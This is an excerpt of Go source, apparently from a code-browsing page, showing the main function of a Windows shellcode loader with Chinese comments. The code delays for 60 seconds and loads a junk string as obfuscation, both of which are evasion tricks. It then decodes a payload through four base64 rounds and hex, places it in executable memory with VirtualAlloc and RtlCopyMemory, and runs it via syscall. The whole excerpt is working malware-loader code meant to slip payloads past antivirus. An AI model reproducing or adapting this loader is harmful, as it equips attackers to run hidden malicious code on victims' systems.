Function main

main.go:49–81

()

}

func main() {

	time.Sleep(60 * time.Second)

	// 内存加载shellcode前，先压入一段无关字符串用来混淆
	var c string = "sgamfygyjffqrqwxzcvzxbsdwdqbsdbgagqwQWRQW/.OAUSHCNIADOdjfqwSFADOQIWOIJOGWEMPOSDPOOPasffvaSFAsafwfYRinJD3124651612qwrE02e"

	// 调用VirtualAllo申请一块内存
	addr1, _, err := VirtualAlloc.Call(0, uintptr(len(c)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	//调用RtlCopyMemory加载进内存当中
	_, _, err = RtlCopyMemory.Call(addr1, (uintptr)(unsafe.Pointer(&c)), uintptr(len(c)/2))

	Str := Readcode()                     // 加载 shellcode
	deStrBytes := Base64DecodeString(Str) //  4次base64解码
	for i := 0; i < 3; i++ {
		deStrBytes = Base64DecodeString(deStrBytes)
	}
	shellcode, err := hex.DecodeString(deStrBytes)

	// 调用VirtualAllo申请一块内存
	addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	if addr == 0 {
		checkErr(err)
	}
	// 调用RtlCopyMemory加载进内存当中
	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)/2))
	_, _, err = RtlCopyMemory.Call(addr+uintptr(len(shellcode)/2), (uintptr)(unsafe.Pointer(&shellcode[len(shellcode)/2])), uintptr(len(shellcode)/2))
	checkErr(err)

	//syscall来运行shellcode
	syscall.Syscall(addr, 0, 0, 0, 0)

}